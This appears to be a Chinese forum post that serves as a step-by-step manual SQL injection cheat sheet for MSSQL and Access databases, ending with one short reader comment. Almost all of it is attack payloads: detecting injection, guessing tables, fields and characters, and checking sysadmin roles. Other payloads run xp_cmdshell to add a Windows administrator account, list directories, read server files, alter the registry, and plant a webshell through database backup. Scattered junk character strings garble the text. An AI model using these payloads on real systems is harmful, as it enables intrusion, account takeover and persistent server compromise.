手工脚本注入

admin

手工脚本注入
, W. t) m  a8 c- b  d$ W) `$ n1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0
1 [3 u! E& x7 ^4 r: H, }
3.注入参数是字符'and [查询条件] and ''='

+ C0 I$ T& h6 X0 |+ K' m* @$ m4.搜索时没过滤参数的'and [查询条件] and '%25'='
) I2 p8 e/ N3 }' ~6 d
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
, H- @/ d% @( s: l! d;and (select count(*) from msysobjects)>0 access

+ C$ w: j7 a7 L6.猜数据库 ;and (select Count(*) from [数据库名])>0
! n' B+ E8 d( T1 ~- ?
# r2 S2 A3 ]  Q2 H: l/ a7 B8 j6 ^/ c9 `7.猜字段 ;and (select Count(字段名) from 数据库名)>0
0 f5 O8 D5 ?8 D. q" a% }
8 I- ?8 v  T; V6 Y. o. N% o" G. d$ l5 R8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
, ^9 F7 r- a! I* l# D
9.(1)猜字段的ascii值（access）
: f5 n- X- _5 q" P! P7 A: C;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
& h! P, i4 u3 v8 a% y( _
# m# }( w* I+ J  K10.测试权限结构（mssql）
5 w/ E1 B% }" x4 K2 {+ N;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
& u& z" s. O& i2 ]1 N- L2 ~;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
8 X& k$ t" V: U;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
6 Q# J$ S: w" {! P! @;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
0 t) i7 b' p4 `( Z  ~+ C5 j/ m;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
/ N+ ]/ X, k6 c$ E
: Q0 K& Z  ]5 j: a1 [, B;exec master.dbo.sp_password null,username,password;--
' S& P! N/ Y1 S7 j7 P8 x( O6 P5 P
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
. f; k# R; t' Z  i2 n' V
;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

! Y- m2 i- }4 g5 b8 _- M/ a;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录

0 Z1 J4 O: M+ L" n- z' X7 u/ d;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

2 r* a. K/ o) W$ R  _% q' U(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
4 ~# t: R5 S( y
+ }6 Z3 V9 z/ t# k  @; J4 i13.mssql中的存储过程
; M1 K2 ?% z9 _8 g1 z4 I
xp_regenumvalues 注册表根键, 子键
3 W; Y+ l  }! p8 N" k/ @: K( A;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
4 _1 I" Y1 S6 U4 a
# p0 r5 J0 P2 gxp_regread 根键,子键,键值名
;exec xp_regread
' K: i3 w: v! i8 ~# o& U0 j'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

3 K; j# [! L& R+ M  r* L1 R: f- Fxp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
  N. H+ |) h" Q/ n8 n
- m: y$ B) q* s+ j4 Hxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
. M" D- c7 S( w, yuse model
( K. n$ D, ], L( n) v/ o7 acreate table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
/ i. @& [- a& u8 e+ A- ?+ d8 }7 _;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

; v+ T  t: C* E16.简洁的webshell

& \7 v( n1 A$ n( k8 Tuse model
$ _9 S% B" h3 b/ Y0 s
create table cmd(str image);

2 {; B4 ?) q6 T& Q/ J& u1 c' A3 {( ginsert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';
4 ]* D9 H, d/ e  `3 F4 g' H

老男孩

现在很多防注入啊，有其他注入字符码